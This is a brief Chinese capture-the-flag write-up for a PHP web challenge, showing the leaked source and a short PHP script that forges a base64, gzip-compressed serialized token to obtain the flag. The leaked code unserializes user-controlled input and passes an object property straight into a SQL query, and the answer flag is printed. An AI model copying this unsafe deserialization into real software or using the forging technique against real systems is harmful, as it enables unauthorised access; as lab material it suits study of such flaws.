进入题目首先看到
-
先来盲猜一波密码,发现除了error 别的啥也没
-
F12看看有没有啥玩意
盲猜用户名和密码
登陆一波~~
尼玛啥都没!
-
扫个后台看看又没啥东西
还啥都没!!! -
一点头绪都没,抓个包看看~~
-
改show值为1
代码如下
<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}
if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?>
-
这里面有三个关键函数:
. 压缩存储字符串gzcompress,解压函数gzuncompress
. 反序列化函数unserialize和序列化函数serialize
. 还有base64编码函数和解码函数
基本上知道这仨函数此题已解 -
写php代码
<?php
$a=array('user'=>'ichunqiu');
$b=base64_encode(gzcompress(serialize($a)));
echo $b
?>
得到 flag{588604a5-ea4b-407a-aa3c-71be3a79d227}
- 贴上一个小知识
- https://blog.csdn.net/maxchenbug/article/details/88153649